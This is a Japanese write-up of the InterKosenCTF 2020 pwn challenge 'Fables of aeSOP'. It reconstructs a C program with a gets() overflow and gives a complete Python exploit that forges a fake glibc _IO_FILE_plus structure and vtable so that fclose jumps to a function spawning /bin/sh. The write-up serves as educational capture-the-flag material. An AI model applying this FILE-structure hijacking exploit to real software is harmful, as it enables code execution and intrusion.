# Fables of aeSOP [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` `pwn` ## 概要 libc-2.23 と chall, banner.txt が与えられる。 challは次のようなコードだと思う ```clike= char buf[512]; FILE *fp; void win() { write(1, "Congratulations!\n", 17); execve("/bin/sh", "/bin/sh", 0); } void f() { printf("win = %p\n", win); gets(buf); puts(buf); } int main() { fp = fopen("banner.txt", "r"); fread(buf, 1, 512, fp); puts(buf); f(); fclose(fp); } ``` `gets`によるあきらかなオーバーフローが存在していて、`buf`から溢れて`fp`を書き換えられることを使いそうに見える。 ## 解法 FILE構造体(`_IO_FILE_plus`)は内部で関数テーブルへのポインタを有していて、うまく騙してやると`fclose`時に`win`を呼べそうな気がする。 `fp`はポインタなので、`gets`による入力で、`buf`内に 偽の`_IO_FILE_plus`構造体と関数テーブル(`_IO_jump_t`)を用意しておき、オーバーフローでポインタをかきかえてやれば良さそう。 というわけでやる。 `_IO_FILE_plus`に関してはgdbで本来の値をダンプしてほとんどそのままコピーしてきた。 `_lock` の指しているアドレスがアクセス可能でかつ、そこがNULLでないとSegmentation Faultするかロックをとったまま帰ってこなくなるので、バッファ内のNULLであることが保証されているアドレスを入れてある。 ```python= from ptrlib import * sock = Socket("localhost", 9999) win_offset = 0xA5A win = int(sock.recvlineafter("<win> = "), 16) pie_base = win - win_offset buf_addr = 0x202060 + pie_base vtable_addr = buf_addr file_struct_addr = None payload = b"" # _IO_jump_t payload += p64(0) # __dummy payload += p64(0) # __dummy2 payload += p64(0) # __finish payload += p64(0) # __overflow payload += p64(0) # __underflow payload += p64(0) # __uflow payload += p64(0) # __pbackfail payload += p64(0) # __xsputn payload += p64(0) # __xsgetn payload += p64(0) # __seekoff payload += p64(0) # __seekpos payload += p64(0) # __setbuf payload += p64(0) # __sync payload += p64(0) # __doallocate payload += p64(0) # __read payload += p64(0) # __write payload += p64(0) # __seek payload += p64(win) # __close payload += p64(0) # __stat payload += p64(0) # __showmanyc payload += p64(0) # __imbue file_struct_addr = buf_addr + len(payload) # _IO_FILE_plus head_of_IO_FILE = len(payload) payload += p64(0xfbad1800) # flags payload += p64(pie_base + 0x1c6b240) # _IO_read_ptr payload += p64(pie_base + 0x1c6b240) # _IO_read_end payload += p64(pie_base + 0x1c6b240) # _IO_read_base payload += p64(pie_base + 0x1c6b240) # _IO_write_base payload += p64(pie_base + 0x1c6b240) # _IO_write_ptr payload += p64(pie_base + 0x1c6b240) # _IO_write_end payload += p64(pie_base + 0x1c6b240) # _IO_buf_base payload += p64(pie_base + 0x1c6b240) # _IO_buf_end payload += p64(0) # _IO_save_base payload += p64(0) # _IO_backup_base payload += p64(0) # _IO_save_end payload += p64(0) # _mackers payload += p64(0) # _chain payload += p32(5) # _fileno payload += p32(0) # _flags2 payload += p64(0) # _old_offset payload += p64(0) # _cur_column + _vtable_offset + _shortbuf payload += p64(file_struct_addr + 224) # _lock payload += p64(0xffffffffffffffff) # _offset payload += p64(0) # _codecvt payload += p64(pie_base + 0x1c6b100) # _wide_data payload += p64(0) # _freeres_list payload += p64(0) # _freeres_buf payload += p64(0) # __pad5 payload += p64(0xffffffff) # _mode payload += b'\0' * (216 - (len(payload) - head_of_IO_FILE)) # _unused2 payload += p64(vtable_addr) # vtable payload += b'\0' * (512 - len(payload)) # padding payload += p64(file_struct_addr) sock.sendline(payload) sock.interactive() ``` ## 感想 試行錯誤しながら`_IO_FILE_plus`構造体をつくるのが難しい。偽の `_IO_FILE_plus` を作るのはひとめなのでpwnerならすぐ解けるんだろうなぁ